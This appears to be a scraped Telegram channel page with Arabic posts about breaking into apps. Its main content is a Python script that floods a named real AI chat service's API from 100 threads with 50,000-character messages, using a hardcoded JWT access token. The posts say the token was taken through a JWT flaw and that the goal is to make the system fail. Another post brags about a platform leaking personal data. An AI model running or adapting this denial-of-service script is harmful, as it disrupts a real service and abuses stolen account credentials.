9 030
订阅者
+11324 小时
+7557 天
+5 80930 天
帖子存档
9 403
منصة ابواب بيها ثغرات توني طبيت سويت كود من اعتراض بسيط و كتشفت هل ثغرة اطلع معلومات الشخص الطالع و الداخل عمي شهل فضايح مع العلم بي هواي ثغرات بس انشاءالله يصلحون هل اخطاء
9 403
import requests
import threading
import time
import random
TOKEN = "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJBUy1LU0dQSiIsImF1ZCI6ImFpLXNlZWsiLCJwcm92aWRlciI6InV1aWQiLCJpc3MiOiJhaS1zZWVrIiwiZXhwIjoyMTAyMjY1MzM0LCJpYXQiOjE3ODY5MDUzMzR9.bK3Et_f4aSAwx40SBDWzKGfuE9uydmTUb_JNhxwx2yahvtoYQN0GeVCIYFlrnGbyZrJD0IquzuBxpP-HezgNlPKbV5Fvzl71pPam2AVvCK4vFNugT7uopNvsQvJQi_MZxmiSXXXy6O7aepsZIAa1XXHJ3oGhI5fk87uCCYNf-3c"
BASE_URL = "https://ai-seek.thebetter.ai"
stats = {"sent": 0, "success": 0, "failed": 0}
start_time = time.time()
def attack():
while True:
try:
session_id = str(random.randint(1000000, 9999999))
payload = {
"sessionId": session_id,
"text": "A" * 50000,
"model": "google/gemini-2.5-pro",
"restrictedType": "FREE_USER",
"sessionType": "NORMAL"
}
headers = {
'x-access-token': TOKEN,
'x-app-id': 'ai-seek',
'Content-Type': "application/json",
'User-Agent': "okhttp/4.12.0"
}
response = requests.post(
f"{BASE_URL}/v4/chat/send",
json=payload,
headers=headers,
timeout=2
)
stats["sent"] += 1
if response.status_code == 200:
stats["success"] += 1
else:
stats["failed"] += 1
except:
stats["failed"] += 1
threads = []
for _ in range(100):
t = threading.Thread(target=attack)
t.daemon = True
t.start()
threads.append(t)
while True:
time.sleep(5)
total = stats["sent"]
success = stats["success"]
failed = stats["failed"]
duration = time.time() - start_time
speed = total / duration if duration > 0 else 0
print(f"""
[Stats]
Total: {total}
Success: {success}
Failed: {failed}
Speed: {speed:.1f} req/s
""")
هجوم على ذاكرة تطبيق تم استغلال ثغرة JWT على نضام و استغلال توكنات للهجوم
يعني يستخرج توكنات حسابات جاهزة حقيقية لهجوم على ذاكرة حتى تطبيق و نضام يفشل بتصدي
تطبيق ai seek ذكاء اصطناعي مطور مصري مدري منو